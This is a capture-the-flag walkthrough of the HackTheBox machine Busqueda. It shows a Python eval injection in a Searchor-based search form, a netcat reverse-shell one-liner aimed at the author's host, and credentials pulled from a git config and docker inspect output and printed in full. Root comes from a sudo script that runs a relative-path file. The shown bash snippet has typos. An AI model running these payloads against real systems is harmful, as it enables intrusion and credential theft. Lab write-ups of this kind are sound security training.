Summary

Much like RedPanda this box starts with exploiting a search engine. I hope your python is up to the test. Next we look for an exploit using docker inspect to get into a git repo and gain access to private scripts running on the machine, which are then exploited for root.

Enumeration

nmap

┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Busqueda]
└──╼ $nmap -sC 10.10.11.208
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-14 16:34 CDT
Nmap scan report for 10.10.11.208
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http
|_http-title: Did not follow redirect to http://searcher.htb/
echo '10.10.11.208 searcher.htb' >> /etc/hosts

Port 80 - http

front page

/search

This page appears to be a universal searcher where you specify a platform and it returns a web address which you can enter as an address to perform your search. The endpoint that you are redirected to is /search. Now I’ve already got a small lead from the footer of the front page. This is run in Flask and using the Searchor github repo.

User as svc

Python Code Escape

If I skim that repo I can find that the basic functionality of this site is to use that repo to search various sites and return the url for that search. The cursory search of vulnerabilities for this repo turn up this arbitrary code execution on version 2.4.2. The crux is our old friend improper eval usage as seen below:

url = eval(
    f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)

Commonly a way to escape python code through the eval function is to import os and use popen to run commands. Let’s see what comes from that.

'+__import__("os").popen("id").read()+'
https://www.google.com/maps/search/uid%3D1000%28svc%29%20gid%3D1000%28svc%29%20groups%3D1000%28svc%29%0A

It works! Now I replace id with a reverse shell and gain my foothold.

'+__import__("os").popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.9 7777 >/tmp/f").read()+'
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Busqueda]
└──╼ $nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.208] 50910
bash: cannot set terminal process group (1641): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ whoami
whoami
svc
svc@busqueda:~$ cat user.txt
cat user.txt
113ea983d7b15-------------------

Root

Git Config

I run a linpeas and it throws off some interesting information. Firstly the /home/svc/.local/bin directory is in the path environment variable. If there is a script or command that runs another command or script from one of the path directories I can intercept that request and run my code as whatever user runs the script/command calling it (ideally root). Other basic things include DirtyPipe, Pwnkit, sudo Baron Samedit 1 and 2, and Netfilter heap out-of-bounds write.

Before looking into any of those there are two .git directories:

drwxr-x--- 8 root root 4096 Apr  3 15:04 /opt/scripts/.git
drwxr-xr-x 8 www-data www-data 4096 May 14 18:08 /var/www/app/.git

I have access to the one inside of /var/www/app, so I’ll crack open that juicy config file and see what we have.

svc@busqueda:/var/www/app/.git$ cat config 
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main

Oh sweet wompums look at that password jh1usoih2bkjaspwe92. Now I can toss out a sudo -l to see what our user “cody” can do as root.

svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Gitea

svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   4 months ago   Up 8 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   4 months ago   Up 8 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

Two things pop out here, one is that here is a mysql database for a locally running webpage, and the other is that there is some other hosted site that we might be able to enumerate. Luckily inside of /etc/hosts on this machine I found gitea.searcher.htb. In retrospect the credentials for cody also mentioned this subdomain.

gitea page

gitea login

cody gitea

It seems we have another user for this specific service named administrator. Those credentials are certainly inside of the mysql database listed with our sudo access. Now all we need to do is figure out how to interact with that database.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect gitea
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --'{{.Config.Image}}' gitea
--gitea/gitea:latest

I found a basic use case for the command here, it pretty closely follows the regular docker inspect command. At the bottom of that page is the payload docker inspect --format='{{json .Config}}' $INSTANCE_ID and I intend to see if that works.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --'{{json .Config}}' gitea
--{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}

Oh hey it did work. And if you squint hard enough you can make out the administrator password is yuiu1hoiu4i5ho1uh.

admin gitea

scripts repo

And would you look at that cool scripts directory with identical scripts to the /opt/scripts directory on the machine. Taking a small peek at one of the scripts that didn’t work when I tried is I find my ticket to root.

Code Exploitation

elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)

Checking the full-checkup option of the code I can run as sudo I see that the option only checks for a local file then runs it as root. I can make the file modify /bin/bash to be an suid and then I will obtain root.

!#/bin/bash
chmod +s /bin.bash
svc@busqueda:~$ nano full-checkup.sh 
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:~$ /bin/bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
c0c2d4933301--------------------